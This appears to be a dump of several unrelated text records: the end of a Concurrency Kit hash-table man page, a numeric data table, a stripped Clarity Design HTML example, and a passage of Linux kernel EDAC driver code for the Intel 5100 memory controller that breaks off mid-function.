,\n.Xr ck_ht_grow_spmc 3 ,\n.Xr ck_ht_remove_spmc 3 ,\n.Xr ck_ht_count 3 ,\n.Xr ck_ht_reset_spmc 3 ,\n.Xr ck_ht_reset_size_spmc 3 ,\n.Xr ck_ht_entry_empty 3 ,\n.Xr ck_ht_entry_key_set 3 ,\n.Xr ck_ht_entry_key_set_direct 3 ,\n.Xr ck_ht_entry_key_length 3 ,\n.Xr ck_ht_entry_key 3 ,\n.Xr ck_ht_entry_set 3 ,\n.Xr ck_ht_entry_set_direct 3 ,\n.Xr ck_ht_entry_key_direct 3 ,\n.Xr ck_ht_entry_value 3 ,\n.Xr ck_ht_iterator_init 3 ,\n.Xr ck_ht_next 3\n.Pp\nAdditional information available at http://concurrencykit.org/\n"} -{"text": "1 1 1196 0 202 1 105\n2 1 153 0 202 105 106\n3 1 1684 0 202 106 107\n4 1 1677 0 202 107 108\n5 1 280 0 202 108 109\n6 1 442 0 202 109 110\n7 1 1222 0 202 110 111\n8 1 1106 0 202 111 112\n9 1 777 0 202 112 113\n10 1 36 0 202 113 114\n11 1 778 0 202 114 115\n12 1 1383 0 202 115 116\n13 1 136 0 202 116 117\n14 1 1686 0 202 117 118\n15 1 273 0 202 118 119\n16 1 854 0 202 119 120\n17 1 805 0 202 120 121\n18 1 263 0 202 121 122\n19 1 1231 0 202 122 123\n20 1 693 0 202 123 124\n21 1 841 0 202 124 125\n22 3 1372 0 202 163 4\n23 3 891 0 202 164 163\n24 3 1217 0 202 165 164\n25 3 1137 0 202 166 165\n26 3 790 0 202 167 166\n27 3 1152 0 202 168 167\n28 3 1237 0 202 169 168\n29 3 272 0 202 170 169\n30 3 600 0 202 171 170\n31 3 1230 0 202 172 171\n32 3 1324 0 202 173 172\n33 3 736 0 202 174 173\n34 3 463 0 202 175 174\n35 3 1232 0 202 176 175\n36 3 1411 0 202 177 176\n37 3 259 0 202 178 177\n38 3 1200 0 202 179 178\n39 3 795 0 202 180 179\n40 3 1221 0 202 181 180\n41 3 621 0 202 182 181\n42 3 1305 0 202 183 182\n43 4 1373 0 202 4 212\n44 4 730 0 202 212 213\n45 4 890 0 202 213 214\n46 4 1084 0 202 214 215\n47 4 910 0 202 215 216\n48 4 1171 0 202 216 217\n49 4 1188 0 202 217 218\n50 4 408 0 202 218 219\n51 4 901 0 202 219 220\n52 4 1162 0 202 220 1\n53 5 1 0 101 5 \n54 6 1 0 101 6 \n55 7 1 0 101 7 \n56 12 1 0 101 12 \n57 13 1 0 101 13 \n58 19 1 0 101 19 \n59 22 1 0 101 22 \n60 23 1 0 101 23 \n61 24 1 0 101 24 \n62 25 1 0 101 25 \n63 30 1 0 101 30 \n64 31 1 0 101 31 \n65 32 1 0 101 32 \n66 33 1 0 101 33 \n67 34 1 0 101 34 \n68 35 1 0 101 35 \n69 37 1 0 101 37 \n70 38 1 0 101 38 \n71 39 1 0 101 39 \n72 40 1 0 101 40 \n73 45 1 0 101 45 \n74 46 1 0 101 46 \n75 47 1 0 101 47 \n76 48 1 0 101 48 \n77 49 1 0 101 49 \n78 50 1 0 101 50 \n79 51 1 0 101 51 \n80 52 1 0 101 52 \n81 56 1 0 101 56 \n82 57 1 0 101 57 \n83 58 1 0 101 58 \n84 59 1 0 101 59 \n85 60 1 0 101 60 \n86 63 1 0 101 63 \n87 64 1 0 101 64 \n88 67 1 0 101 67 \n89 68 1 0 101 68 \n90 69 1 0 101 69 \n91 71 1 0 101 71 \n92 72 1 0 101 72 \n93 73 1 0 101 73 \n94 74 1 0 101 74 \n95 75 1 0 101 75 \n96 76 1 0 101 76 \n97 79 1 0 101 79 \n98 80 1 0 101 80 \n99 81 1 0 101 81 \n100 82 1 0 101 82 \n101 84 1 0 101 84 \n102 85 1 0 101 85 \n103 86 1 0 101 86 \n104 87 1 0 101 87 \n105 88 1 0 101 88 \n106 89 1 0 101 89 \n107 90 1 0 101 90 \n108 91 1 0 101 91 \n109 94 1 0 101 94 \n110 95 1 0 101 95 \n111 96 1 0 101 96 \n112 99 1 0 101 99 \n113 100 1 0 101 100 \n"} -{"text": "\n\n \n Clarity Design System\n \n \n \n \n \n \n \n
    \n

    Clarity Design

    \n\n

    \n This is an example of Clarity with no build step or bundling required.\n

    \n\n

    \n API Documentation\n

    \n
    \n \n \n \n\n"} -{"text": "/*\n * Intel 5100 Memory Controllers kernel module\n *\n * This file may be distributed under the terms of the\n * GNU General Public License.\n *\n * This module is based on the following document:\n *\n * Intel 5100X Chipset Memory Controller Hub (MCH) - Datasheet\n * http://download.intel.com/design/chipsets/datashts/318378.pdf\n *\n * The intel 5100 has two independent channels. EDAC core currently\n * can not reflect this configuration so instead the chip-select\n * rows for each respective channel are layed out one after another,\n * the first half belonging to channel 0, the second half belonging\n * to channel 1.\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"edac_core.h\"\n\n/* register addresses */\n\n/* device 16, func 1 */\n#define I5100_MC\t\t0x40\t/* Memory Control Register */\n#define \tI5100_MC_SCRBEN_MASK\t(1 << 7)\n#define \tI5100_MC_SCRBDONE_MASK\t(1 << 4)\n#define I5100_MS\t\t0x44\t/* Memory Status Register */\n#define I5100_SPDDATA\t\t0x48\t/* Serial Presence Detect Status Reg */\n#define I5100_SPDCMD\t\t0x4c\t/* Serial Presence Detect Command Reg */\n#define I5100_TOLM\t\t0x6c\t/* Top of Low Memory */\n#define I5100_MIR0\t\t0x80\t/* Memory Interleave Range 0 */\n#define I5100_MIR1\t\t0x84\t/* Memory Interleave Range 1 */\n#define I5100_AMIR_0\t\t0x8c\t/* Adjusted Memory Interleave Range 0 */\n#define I5100_AMIR_1\t\t0x90\t/* Adjusted Memory Interleave Range 1 */\n#define I5100_FERR_NF_MEM\t0xa0\t/* MC First Non Fatal Errors */\n#define\t\tI5100_FERR_NF_MEM_M16ERR_MASK\t(1 << 16)\n#define\t\tI5100_FERR_NF_MEM_M15ERR_MASK\t(1 << 15)\n#define\t\tI5100_FERR_NF_MEM_M14ERR_MASK\t(1 << 14)\n#define\t\tI5100_FERR_NF_MEM_M12ERR_MASK\t(1 << 12)\n#define\t\tI5100_FERR_NF_MEM_M11ERR_MASK\t(1 << 11)\n#define\t\tI5100_FERR_NF_MEM_M10ERR_MASK\t(1 << 10)\n#define\t\tI5100_FERR_NF_MEM_M6ERR_MASK\t(1 << 6)\n#define\t\tI5100_FERR_NF_MEM_M5ERR_MASK\t(1 << 5)\n#define\t\tI5100_FERR_NF_MEM_M4ERR_MASK\t(1 << 4)\n#define\t\tI5100_FERR_NF_MEM_M1ERR_MASK\t1\n#define\t\tI5100_FERR_NF_MEM_ANY_MASK\t\\\n\t\t\t(I5100_FERR_NF_MEM_M16ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M15ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M14ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M12ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M11ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M10ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M6ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M5ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M4ERR_MASK | \\\n\t\t\tI5100_FERR_NF_MEM_M1ERR_MASK)\n#define\tI5100_NERR_NF_MEM\t0xa4\t/* MC Next Non-Fatal Errors */\n#define I5100_EMASK_MEM\t\t0xa8\t/* MC Error Mask Register */\n\n/* device 21 and 22, func 0 */\n#define I5100_MTR_0\t0x154\t/* Memory Technology Registers 0-3 */\n#define I5100_DMIR\t0x15c\t/* DIMM Interleave Range */\n#define\tI5100_VALIDLOG\t0x18c\t/* Valid Log Markers */\n#define\tI5100_NRECMEMA\t0x190\t/* Non-Recoverable Memory Error Log Reg A */\n#define\tI5100_NRECMEMB\t0x194\t/* Non-Recoverable Memory Error Log Reg B */\n#define\tI5100_REDMEMA\t0x198\t/* Recoverable Memory Data Error Log Reg A */\n#define\tI5100_REDMEMB\t0x19c\t/* Recoverable Memory Data Error Log Reg B */\n#define\tI5100_RECMEMA\t0x1a0\t/* Recoverable Memory Error Log Reg A */\n#define\tI5100_RECMEMB\t0x1a4\t/* Recoverable Memory Error Log Reg B */\n#define I5100_MTR_4\t0x1b0\t/* Memory Technology Registers 4,5 */\n\n/* bit field accessors */\n\nstatic inline u32 i5100_mc_scrben(u32 mc)\n{\n\treturn mc >> 7 & 1;\n}\n\nstatic inline u32 i5100_mc_errdeten(u32 mc)\n{\n\treturn mc >> 5 & 1;\n}\n\nstatic inline u32 i5100_mc_scrbdone(u32 mc)\n{\n\treturn mc >> 4 & 1;\n}\n\nstatic inline u16 i5100_spddata_rdo(u16 a)\n{\n\treturn a >> 15 & 1;\n}\n\nstatic inline u16 i5100_spddata_sbe(u16 a)\n{\n\treturn a >> 13 & 1;\n}\n\nstatic inline u16 i5100_spddata_busy(u16 a)\n{\n\treturn a >> 12 & 1;\n}\n\nstatic inline u16 i5100_spddata_data(u16 a)\n{\n\treturn a & ((1 << 8) - 1);\n}\n\nstatic inline u32 i5100_spdcmd_create(u32 dti, u32 ckovrd, u32 sa, u32 ba,\n\t\t\t\t u32 data, u32 cmd)\n{\n\treturn\t((dti & ((1 << 4) - 1)) << 28) |\n\t\t((ckovrd & 1) << 27) |\n\t\t((sa & ((1 << 3) - 1)) << 24) |\n\t\t((ba & ((1 << 8) - 1)) << 16) |\n\t\t((data & ((1 << 8) - 1)) << 8) |\n\t\t(cmd & 1);\n}\n\nstatic inline u16 i5100_tolm_tolm(u16 a)\n{\n\treturn a >> 12 & ((1 << 4) - 1);\n}\n\nstatic inline u16 i5100_mir_limit(u16 a)\n{\n\treturn a >> 4 & ((1 << 12) - 1);\n}\n\nstatic inline u16 i5100_mir_way1(u16 a)\n{\n\treturn a >> 1 & 1;\n}\n\nstatic inline u16 i5100_mir_way0(u16 a)\n{\n\treturn a & 1;\n}\n\nstatic inline u32 i5100_ferr_nf_mem_chan_indx(u32 a)\n{\n\treturn a >> 28 & 1;\n}\n\nstatic inline u32 i5100_ferr_nf_mem_any(u32 a)\n{\n\treturn a & I5100_FERR_NF_MEM_ANY_MASK;\n}\n\nstatic inline u32 i5100_nerr_nf_mem_any(u32 a)\n{\n\treturn i5100_ferr_nf_mem_any(a);\n}\n\nstatic inline u32 i5100_dmir_limit(u32 a)\n{\n\treturn a >> 16 & ((1 << 11) - 1);\n}\n\nstatic inline u32 i5100_dmir_rank(u32 a, u32 i)\n{\n\treturn a >> (4 * i) & ((1 << 2) - 1);\n}\n\nstatic inline u16 i5100_mtr_present(u16 a)\n{\n\treturn a >> 10 & 1;\n}\n\nstatic inline u16 i5100_mtr_ethrottle(u16 a)\n{\n\treturn a >> 9 & 1;\n}\n\nstatic inline u16 i5100_mtr_width(u16 a)\n{\n\treturn a >> 8 & 1;\n}\n\nstatic inline u16 i5100_mtr_numbank(u16 a)\n{\n\treturn a >> 6 & 1;\n}\n\nstatic inline u16 i5100_mtr_numrow(u16 a)\n{\n\treturn a >> 2 & ((1 << 2) - 1);\n}\n\nstatic inline u16 i5100_mtr_numcol(u16 a)\n{\n\treturn a & ((1 << 2) - 1);\n}\n\n\nstatic inline u32 i5100_validlog_redmemvalid(u32 a)\n{\n\treturn a >> 2 & 1;\n}\n\nstatic inline u32 i5100_validlog_recmemvalid(u32 a)\n{\n\treturn a >> 1 & 1;\n}\n\nstatic inline u32 i5100_validlog_nrecmemvalid(u32 a)\n{\n\treturn a & 1;\n}\n\nstatic inline u32 i5100_nrecmema_merr(u32 a)\n{\n\treturn a >> 15 & ((1 << 5) - 1);\n}\n\nstatic inline u32 i5100_nrecmema_bank(u32 a)\n{\n\treturn a >> 12 & ((1 << 3) - 1);\n}\n\nstatic inline u32 i5100_nrecmema_rank(u32 a)\n{\n\treturn a >> 8 & ((1 << 3) - 1);\n}\n\nstatic inline u32 i5100_nrecmema_dm_buf_id(u32 a)\n{\n\treturn a & ((1 << 8) - 1);\n}\n\nstatic inline u32 i5100_nrecmemb_cas(u32 a)\n{\n\treturn a >> 16 & ((1 << 13) - 1);\n}\n\nstatic inline u32 i5100_nrecmemb_ras(u32 a)\n{\n\treturn a & ((1 << 16) - 1);\n}\n\nstatic inline u32 i5100_redmemb_ecc_locator(u32 a)\n{\n\treturn a & ((1 << 18) - 1);\n}\n\nstatic inline u32 i5100_recmema_merr(u32 a)\n{\n\treturn i5100_nrecmema_merr(a);\n}\n\nstatic inline u32 i5100_recmema_bank(u32 a)\n{\n\treturn i5100_nrecmema_bank(a);\n}\n\nstatic inline u32 i5100_recmema_rank(u32 a)\n{\n\treturn i5100_nrecmema_rank(a);\n}\n\nstatic inline u32 i5100_recmema_dm_buf_id(u32 a)\n{\n\treturn i5100_nrecmema_dm_buf_id(a);\n}\n\nstatic inline u32 i5100_recmemb_cas(u32 a)\n{\n\treturn i5100_nrecmemb_cas(a);\n}\n\nstatic inline u32 i5100_recmemb_ras(u32 a)\n{\n\treturn i5100_nrecmemb_ras(a);\n}\n\n/* some generic limits */\n#define I5100_MAX_RANKS_PER_CHAN\t6\n#define I5100_CHANNELS\t\t\t 2\n#define I5100_MAX_RANKS_PER_DIMM\t4\n#define I5100_DIMM_ADDR_LINES\t\t(6 - 3)\t/* 64 bits / 8 bits per byte */\n#define I5100_MAX_DIMM_SLOTS_PER_CHAN\t4\n#define I5100_MAX_RANK_INTERLEAVE\t4\n#define I5100_MAX_DMIRS\t\t\t5\n#define I5100_SCRUB_REFRESH_RATE\t(5 * 60 * HZ)\n\nstruct i5100_priv {\n\t/* ranks on each dimm -- 0 maps to not present -- obtained via SPD */\n\tint dimm_numrank[I5100_CHANNELS][I5100_MAX_DIMM_SLOTS_PER_CHAN];\n\n\t/*\n\t * mainboard chip select map -- maps i5100 chip selects to\n\t * DIMM slot chip selects. In the case of only 4 ranks per\n\t * channel, the mapping is fairly obvious but not unique.\n\t * we map -1 -> NC and assume both channels use the same\n\t * map...\n\t *\n\t */\n\tint dimm_csmap[I5100_MAX_DIMM_SLOTS_PER_CHAN][I5100_MAX_RANKS_PER_DIMM];\n\n\t/* memory interleave range */\n\tstruct {\n\t\tu64\t limit;\n\t\tunsigned way[2];\n\t} mir[I5100_CHANNELS];\n\n\t/* adjusted memory interleave range register */\n\tunsigned amir[I5100_CHANNELS];\n\n\t/* dimm interleave range */\n\tstruct {\n\t\tunsigned rank[I5100_MAX_RANK_INTERLEAVE];\n\t\tu64\t limit;\n\t} dmir[I5100_CHANNELS][I5100_MAX_DMIRS];\n\n\t/* memory technology registers... */\n\tstruct {\n\t\tunsigned present;\t/* 0 or 1 */\n\t\tunsigned ethrottle;\t/* 0 or 1 */\n\t\tunsigned width;\t\t/* 4 or 8 bits */\n\t\tunsigned numbank;\t/* 2 or 3 lines */\n\t\tunsigned numrow;\t/* 13 .. 16 lines */\n\t\tunsigned numcol;\t/* 11 .. 12 lines */\n\t} mtr[I5100_CHANNELS][I5100_MAX_RANKS_PER_CHAN];\n\n\tu64 tolm;\t\t/* top of low memory in bytes */\n\tunsigned ranksperchan;\t/* number of ranks per channel */\n\n\tstruct pci_dev *mc;\t/* device 16 func 1 */\n\tstruct pci_dev *ch0mm;\t/* device 21 func 0 */\n\tstruct pci_dev *ch1mm;\t/* device 22 func 0 */\n\n\tstruct delayed_work i5100_scrubbing;\n\tint scrub_enable;\n};\n\n/* map a rank/chan to a slot number on the mainboard */\nstatic int i5100_rank_to_slot(const struct mem_ctl_info *mci,\n\t\t\t int chan, int rank)\n{\n\tconst struct i5100_priv *priv = mci->pvt_info;\n\tint i;\n\n\tfor (i = 0; i < I5100_MAX_DIMM_SLOTS_PER_CHAN; i++) {\n\t\tint j;\n\t\tconst int numrank = priv->dimm_numrank[chan][i];\n\n\t\tfor (j = 0; j < numrank; j++)\n\t\t\tif (priv->dimm_csmap[i][j] == rank)\n\t\t\t\treturn i * 2 + chan;\n\t}\n\n\treturn -1;\n}\n\nstatic const char *i5100_err_msg(unsigned err)\n{\n\tstatic const char *merrs[] = {\n\t\t\"unknown\", /* 0 */\n\t\t\"uncorrectable data ECC on replay\", /* 1 */\n\t\t\"unknown\", /* 2 */\n\t\t\"unknown\", /* 3 */\n\t\t\"aliased uncorrectable demand data ECC\", /* 4 */\n\t\t\"aliased uncorrectable spare-copy data ECC\", /* 5 */\n\t\t\"aliased uncorrectable patrol data ECC\", /* 6 */\n\t\t\"unknown\", /* 7 */\n\t\t\"unknown\", /* 8 */\n\t\t\"unknown\", /* 9 */\n\t\t\"non-aliased uncorrectable demand data ECC\", /* 10 */\n\t\t\"non-aliased uncorrectable spare-copy data ECC\", /* 11 */\n\t\t\"non-aliased uncorrectable patrol data ECC\", /* 12 */\n\t\t\"unknown\", /* 13 */\n\t\t\"correctable demand data ECC\", /* 14 */\n\t\t\"correctable spare-copy data ECC\", /* 15 */\n\t\t\"correctable patrol data ECC\", /* 16 */\n\t\t\"unknown\", /* 17 */\n\t\t\"SPD protocol error\", /* 18 */\n\t\t\"unknown\", /* 19 */\n\t\t\"spare copy initiated\", /* 20 */\n\t\t\"spare copy completed\", /* 21 */\n\t};\n\tunsigned i;\n\n\tfor (i = 0; i < ARRAY_SIZE(merrs); i++)\n\t\tif (1 << i & err)\n\t\t\treturn merrs[i];\n\n\treturn \"none\";\n}\n\n/* convert csrow index into a rank (per channel -- 0..5) */\nstatic int i5100_csrow_to_rank(const struct mem_ctl_info *mci, int csrow)\n{\n\tconst struct i5100_priv *priv = mci->pvt_info;\n\n\treturn csrow % priv->ranksperchan;\n}\n\n/* convert csrow index into a channel (0..1) */\nstatic int i5100_csrow_to_chan(const struct mem_ctl_info *mci, int csrow)\n{\n\tconst struct i5100_priv *priv = mci->pvt_info;\n\n\treturn csrow / priv->ranksperchan;\n}\n\nstatic unsigned i5100_rank_to_csrow(const struct mem_ctl_info *mci,\n\t\t\t\t int chan, int rank)\n{\n\tconst struct i5100_priv *priv = mci->pvt_info;\n\n\treturn chan * priv->ranksperchan + rank;\n}\n\nstatic void i5100_handle_ce(struct mem_ctl_info *mci,\n\t\t\t int chan,\n\t\t\t unsigned bank,\n\t\t\t unsigned rank,\n\t\t\t unsigned long syndrome,\n\t\t\t unsigned cas,\n\t\t\t unsigned ras,\n\t\t\t const char *msg)\n{\n\tconst int csrow = i5100_rank_to_csrow(mci, chan, rank);\n\n\tprintk(KERN_ERR\n\t\t\"CE chan %d, bank %u, rank %u, syndrome 0x%lx, \"\n\t\t\"cas %u, ras %u, csrow %u, label \\\"%s\\\": %s\\n\",\n\t\tchan, bank, rank, syndrome, cas, ras,\n\t\tcsrow, mci->csrows[csrow].channels[0].label, msg);\n\n\tmci->ce_count++;\n\tmci->csrows[csrow].ce_count++;\n\tmci->csrows[csrow].channels[0].ce_count++;\n}\n\nstatic void i5100_handle_ue(struct mem_ctl_info *mci,\n\t\t\t int chan,\n\t\t\t unsigned bank,\n\t\t\t unsigned rank,\n\t\t\t unsigned long syndrome,\n\t\t\t unsigned cas,\n\t\t\t unsigned ras,\n\t\t\t const char *msg)\n{\n\tconst int csrow = i5100_rank_to_csrow(mci, chan, rank);\n\n\tprintk(KERN_ERR\n\t\t\"UE chan %d, bank %u, rank %u, syndrome 0x%lx, \"\n\t\t\"cas %u, ras %u, csrow %u, label \\\"%s\\\": %s\\n\",\n\t\tchan, bank, rank, syndrome, cas, ras,\n\t\tcsrow, mci->csrows[csrow].channels[0].label, msg);\n\n\tmci->ue_count++;\n\tmci->csrows[csrow].ue_count++;\n}\n\nstatic void i5100_read_log(struct mem_ctl_info *mci, int chan,\n\t\t\t u32 ferr, u32 nerr)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tstruct pci_dev *pdev = (chan) ? priv->ch1mm : priv->ch0mm;\n\tu32 dw;\n\tu32 dw2;\n\tunsigned syndrome = 0;\n\tunsigned ecc_loc = 0;\n\tunsigned merr;\n\tunsigned bank;\n\tunsigned rank;\n\tunsigned cas;\n\tunsigned ras;\n\n\tpci_read_config_dword(pdev, I5100_VALIDLOG, &dw);\n\n\tif (i5100_validlog_redmemvalid(dw)) {\n\t\tpci_read_config_dword(pdev, I5100_REDMEMA, &dw2);\n\t\tsyndrome = dw2;\n\t\tpci_read_config_dword(pdev, I5100_REDMEMB, &dw2);\n\t\tecc_loc = i5100_redmemb_ecc_locator(dw2);\n\t}\n\n\tif (i5100_validlog_recmemvalid(dw)) {\n\t\tconst char *msg;\n\n\t\tpci_read_config_dword(pdev, I5100_RECMEMA, &dw2);\n\t\tmerr = i5100_recmema_merr(dw2);\n\t\tbank = i5100_recmema_bank(dw2);\n\t\trank = i5100_recmema_rank(dw2);\n\n\t\tpci_read_config_dword(pdev, I5100_RECMEMB, &dw2);\n\t\tcas = i5100_recmemb_cas(dw2);\n\t\tras = i5100_recmemb_ras(dw2);\n\n\t\tif (!merr)\n\t\t\tmsg = i5100_err_msg(ferr);\n\t\telse\n\t\t\tmsg = i5100_err_msg(nerr);\n\n\t\ti5100_handle_ce(mci, chan, bank, rank, syndrome, cas, ras, msg);\n\t}\n\n\tif (i5100_validlog_nrecmemvalid(dw)) {\n\t\tconst char *msg;\n\n\t\tpci_read_config_dword(pdev, I5100_NRECMEMA, &dw2);\n\t\tmerr = i5100_nrecmema_merr(dw2);\n\t\tbank = i5100_nrecmema_bank(dw2);\n\t\trank = i5100_nrecmema_rank(dw2);\n\n\t\tpci_read_config_dword(pdev, I5100_NRECMEMB, &dw2);\n\t\tcas = i5100_nrecmemb_cas(dw2);\n\t\tras = i5100_nrecmemb_ras(dw2);\n\n\t\tif (!merr)\n\t\t\tmsg = i5100_err_msg(ferr);\n\t\telse\n\t\t\tmsg = i5100_err_msg(nerr);\n\n\t\ti5100_handle_ue(mci, chan, bank, rank, syndrome, cas, ras, msg);\n\t}\n\n\tpci_write_config_dword(pdev, I5100_VALIDLOG, dw);\n}\n\nstatic void i5100_check_error(struct mem_ctl_info *mci)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tu32 dw;\n\n\n\tpci_read_config_dword(priv->mc, I5100_FERR_NF_MEM, &dw);\n\tif (i5100_ferr_nf_mem_any(dw)) {\n\t\tu32 dw2;\n\n\t\tpci_read_config_dword(priv->mc, I5100_NERR_NF_MEM, &dw2);\n\t\tif (dw2)\n\t\t\tpci_write_config_dword(priv->mc, I5100_NERR_NF_MEM,\n\t\t\t\t\t dw2);\n\t\tpci_write_config_dword(priv->mc, I5100_FERR_NF_MEM, dw);\n\n\t\ti5100_read_log(mci, i5100_ferr_nf_mem_chan_indx(dw),\n\t\t\t i5100_ferr_nf_mem_any(dw),\n\t\t\t i5100_nerr_nf_mem_any(dw2));\n\t}\n}\n\n/* The i5100 chipset will scrub the entire memory once, then\n * set a done bit. Continuous scrubbing is achieved by enqueing\n * delayed work to a workqueue, checking every few minutes if\n * the scrubbing has completed and if so reinitiating it.\n */\n\nstatic void i5100_refresh_scrubbing(struct work_struct *work)\n{\n\tstruct delayed_work *i5100_scrubbing = container_of(work,\n\t\t\t\t\t\t\t struct delayed_work,\n\t\t\t\t\t\t\t work);\n\tstruct i5100_priv *priv = container_of(i5100_scrubbing,\n\t\t\t\t\t struct i5100_priv,\n\t\t\t\t\t i5100_scrubbing);\n\tu32 dw;\n\n\tpci_read_config_dword(priv->mc, I5100_MC, &dw);\n\n\tif (priv->scrub_enable) {\n\n\t\tpci_read_config_dword(priv->mc, I5100_MC, &dw);\n\n\t\tif (i5100_mc_scrbdone(dw)) {\n\t\t\tdw |= I5100_MC_SCRBEN_MASK;\n\t\t\tpci_write_config_dword(priv->mc, I5100_MC, dw);\n\t\t\tpci_read_config_dword(priv->mc, I5100_MC, &dw);\n\t\t}\n\n\t\tschedule_delayed_work(&(priv->i5100_scrubbing),\n\t\t\t\t I5100_SCRUB_REFRESH_RATE);\n\t}\n}\n/*\n * The bandwidth is based on experimentation, feel free to refine it.\n */\nstatic int i5100_set_scrub_rate(struct mem_ctl_info *mci, u32 bandwidth)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tu32 dw;\n\n\tpci_read_config_dword(priv->mc, I5100_MC, &dw);\n\tif (bandwidth) {\n\t\tpriv->scrub_enable = 1;\n\t\tdw |= I5100_MC_SCRBEN_MASK;\n\t\tschedule_delayed_work(&(priv->i5100_scrubbing),\n\t\t\t\t I5100_SCRUB_REFRESH_RATE);\n\t} else {\n\t\tpriv->scrub_enable = 0;\n\t\tdw &= ~I5100_MC_SCRBEN_MASK;\n\t\tcancel_delayed_work(&(priv->i5100_scrubbing));\n\t}\n\tpci_write_config_dword(priv->mc, I5100_MC, dw);\n\n\tpci_read_config_dword(priv->mc, I5100_MC, &dw);\n\n\tbandwidth = 5900000 * i5100_mc_scrben(dw);\n\n\treturn 0;\n}\n\nstatic int i5100_get_scrub_rate(struct mem_ctl_info *mci,\n\t\t\t\tu32 *bandwidth)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tu32 dw;\n\n\tpci_read_config_dword(priv->mc, I5100_MC, &dw);\n\n\t*bandwidth = 5900000 * i5100_mc_scrben(dw);\n\n\treturn 0;\n}\n\nstatic struct pci_dev *pci_get_device_func(unsigned vendor,\n\t\t\t\t\t unsigned device,\n\t\t\t\t\t unsigned func)\n{\n\tstruct pci_dev *ret = NULL;\n\n\twhile (1) {\n\t\tret = pci_get_device(vendor, device, ret);\n\n\t\tif (!ret)\n\t\t\tbreak;\n\n\t\tif (PCI_FUNC(ret->devfn) == func)\n\t\t\tbreak;\n\t}\n\n\treturn ret;\n}\n\nstatic unsigned long __devinit i5100_npages(struct mem_ctl_info *mci,\n\t\t\t\t\t int csrow)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tconst unsigned chan_rank = i5100_csrow_to_rank(mci, csrow);\n\tconst unsigned chan = i5100_csrow_to_chan(mci, csrow);\n\tunsigned addr_lines;\n\n\t/* dimm present? */\n\tif (!priv->mtr[chan][chan_rank].present)\n\t\treturn 0ULL;\n\n\taddr_lines =\n\t\tI5100_DIMM_ADDR_LINES +\n\t\tpriv->mtr[chan][chan_rank].numcol +\n\t\tpriv->mtr[chan][chan_rank].numrow +\n\t\tpriv->mtr[chan][chan_rank].numbank;\n\n\treturn (unsigned long)\n\t\t((unsigned long long) (1ULL << addr_lines) / PAGE_SIZE);\n}\n\nstatic void __devinit i5100_init_mtr(struct mem_ctl_info *mci)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tstruct pci_dev *mms[2] = { priv->ch0mm, priv->ch1mm };\n\tint i;\n\n\tfor (i = 0; i < I5100_CHANNELS; i++) {\n\t\tint j;\n\t\tstruct pci_dev *pdev = mms[i];\n\n\t\tfor (j = 0; j < I5100_MAX_RANKS_PER_CHAN; j++) {\n\t\t\tconst unsigned addr =\n\t\t\t\t(j < 4) ? I5100_MTR_0 + j * 2 :\n\t\t\t\t\t I5100_MTR_4 + (j - 4) * 2;\n\t\t\tu16 w;\n\n\t\t\tpci_read_config_word(pdev, addr, &w);\n\n\t\t\tpriv->mtr[i][j].present = i5100_mtr_present(w);\n\t\t\tpriv->mtr[i][j].ethrottle = i5100_mtr_ethrottle(w);\n\t\t\tpriv->mtr[i][j].width = 4 + 4 * i5100_mtr_width(w);\n\t\t\tpriv->mtr[i][j].numbank = 2 + i5100_mtr_numbank(w);\n\t\t\tpriv->mtr[i][j].numrow = 13 + i5100_mtr_numrow(w);\n\t\t\tpriv->mtr[i][j].numcol = 10 + i5100_mtr_numcol(w);\n\t\t}\n\t}\n}\n\nstatic int i5100_read_spd_byte(const struct mem_ctl_info *mci,\n\t\t\t u8 ch, u8 slot, u8 addr, u8 *byte)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tu16 w;\n\tunsigned long et;\n\n\tpci_read_config_word(priv->mc, I5100_SPDDATA, &w);\n\tif (i5100_spddata_busy(w))\n\t\treturn -1;\n\n\tpci_write_config_dword(priv->mc, I5100_SPDCMD,\n\t\t\t i5100_spdcmd_create(0xa, 1, ch * 4 + slot, addr,\n\t\t\t\t\t\t 0, 0));\n\n\t/* wait up to 100ms */\n\tet = jiffies + HZ / 10;\n\tudelay(100);\n\twhile (1) {\n\t\tpci_read_config_word(priv->mc, I5100_SPDDATA, &w);\n\t\tif (!i5100_spddata_busy(w))\n\t\t\tbreak;\n\t\tudelay(100);\n\t}\n\n\tif (!i5100_spddata_rdo(w) || i5100_spddata_sbe(w))\n\t\treturn -1;\n\n\t*byte = i5100_spddata_data(w);\n\n\treturn 0;\n}\n\nstatic void __devinit i5100_init_dimm_csmap(struct mem_ctl_info *mci)\n{\n\tstruct i5100_priv *priv = mci->pvt_info;\n\tint i;\n\n\tfor (i = 0; i < I5100_MAX_DIMM_SLOTS_PER_CHAN; i++) {\n\t\tint j;\n\n\t\tfor (j = 0; j < I5100_MAX_RANKS_PER_DIMM; j++)\n\t\t\tpriv->dimm_csmap[i][j] = -1; /* default NC */\n\t}\n\n\t/* only 2 chip selects per slot... */\n\tif (priv->ranksperchan == 4) {\n\t\tpriv->dimm_csmap[0][0] = 0;\n\t\tpriv->dimm_csmap[0][1] = 3;\n\t\tpriv->dimm_csmap[1][0] = 1;\n\t\tpriv->dimm_csmap[1][1] = 2;\n\t\tpriv->dimm_csmap[2][0] = 2;\n\t\tpriv->dimm_csmap[3][0] = 3;\n\t} else {\n\t\tpriv->dimm_csmap[0][0] = 0;\n\t\tpriv->dimm_csmap[0][1] = 1;\n\t\tpriv->dimm_csmap[1][0] = 2;\n\t\tpriv->dimm_csmap[1][1] = 3;\n\t\tpriv->dimm_csmap[2][0] = 4;\n\t\tpriv->dimm_csmap[2][1] = 5;\n\t}\n}\n\nstatic void __devinit 